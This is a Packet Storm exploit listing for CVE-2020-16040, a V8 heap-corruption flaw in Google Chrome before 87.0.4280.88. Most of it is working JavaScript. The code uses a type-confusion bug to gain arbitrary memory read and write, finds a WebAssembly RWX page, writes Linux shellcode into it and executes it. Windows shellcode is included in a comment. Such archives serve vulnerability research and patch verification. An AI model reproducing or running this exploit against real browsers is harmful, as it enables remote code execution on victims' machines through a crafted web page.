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packetstormTobias MarcottoPACKETSTORM:162087
HistoryApr 06, 2021 - 12:00 a.m.

Google Chrome 86.0.4240 V8 Remote Code Execution

2021-04-0600:00:00
Tobias Marcotto
packetstormsecurity.com
598

0.221 Low

EPSS

Percentile

96.5%

`# Exploit Title: Google Chrome prior 87.0.4280.88 V8 - Remote Code Execution  
# Date: 06/04/2021  
# Exploit Author: Tobias Marcotto  
# Tested on: Kali Linux x64   
# Version: 87.0.4280.88  
# Description: Insufficient data validation in V8 in Google Chrome prior to 87.0.4280.88 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.  
# CVE: CVE-2020-16040  
  
*********************************************************************************************************  
  
  
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])  
var wasm_mod = new WebAssembly.Module(wasm_code);  
var wasm_instance = new WebAssembly.Instance(wasm_mod);  
var f = wasm_instance.exports.main;  
  
var buf = new ArrayBuffer(8);  
var f64_buf = new Float64Array(buf);  
var u64_buf = new Uint32Array(buf);  
let buf2 = new ArrayBuffer(0x150);  
  
function ftoi(val) {  
f64_buf[0] = val;  
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);  
}  
  
function itof(val) {  
u64_buf[0] = Number(val & 0xffffffffn);  
u64_buf[1] = Number(val >> 32n);  
return f64_buf[0];  
}  
  
function foo(a) {  
var y = 0x7fffffff;  
  
if (a == NaN) y = NaN;  
if (a) y = -1;  
  
let z = y + 1;  
z >>= 31;  
z = 0x80000000 - Math.sign(z|1);  
  
if(a) z = 0;  
  
var arr = new Array(0-Math.sign(z));  
arr.shift();  
var cor = [1.1, 1.2, 1.3];  
  
return [arr, cor];  
}  
  
for(var i=0;i<0x3000;++i)  
foo(true);  
  
var x = foo(false);  
var arr = x[0];  
var cor = x[1];  
  
const idx = 6;  
arr[idx+10] = 0x4242;  
  
function addrof(k) {  
arr[idx+1] = k;  
return ftoi(cor[0]) & 0xffffffffn;  
}  
  
function fakeobj(k) {  
cor[0] = itof(k);  
return arr[idx+1];  
}  
  
var float_array_map = ftoi(cor[3]);  
  
var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];  
var fake = fakeobj(addrof(arr2) + 0x20n);  
  
function arbread(addr) {  
if (addr % 2n == 0) {  
addr += 1n;  
}  
arr2[1] = itof((2n << 32n) + addr - 8n);  
return (fake[0]);  
}  
  
function arbwrite(addr, val) {  
if (addr % 2n == 0) {  
addr += 1n;  
}  
arr2[1] = itof((2n << 32n) + addr - 8n);  
fake[0] = itof(BigInt(val));  
}  
  
function copy_shellcode(addr, shellcode) {  
let dataview = new DataView(buf2);  
let buf_addr = addrof(buf2);  
let backing_store_addr = buf_addr + 0x14n;  
arbwrite(backing_store_addr, addr);  
  
for (let i = 0; i < shellcode.length; i++) {  
dataview.setUint32(4*i, shellcode[i], true);  
}  
}  
  
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));  
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));  
var shellcode = [16889928,16843009,1213202689,1652108984,23227744,70338561,800606244,796029813,1349413218,1760004424,16855099,19149953,1208025345,1397310648,1497451600,3526447165,1510500946,1390543176,1222805832,16843192,16843009,3091746817,1617066286,16867949,604254536,1966061640,1647276659,827354729,141186806,3858843742,3867756630,257440618,2425393157];  
/*var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957]; */ // windows shellcode  
copy_shellcode(rwx_page_addr, shellcode);  
f();`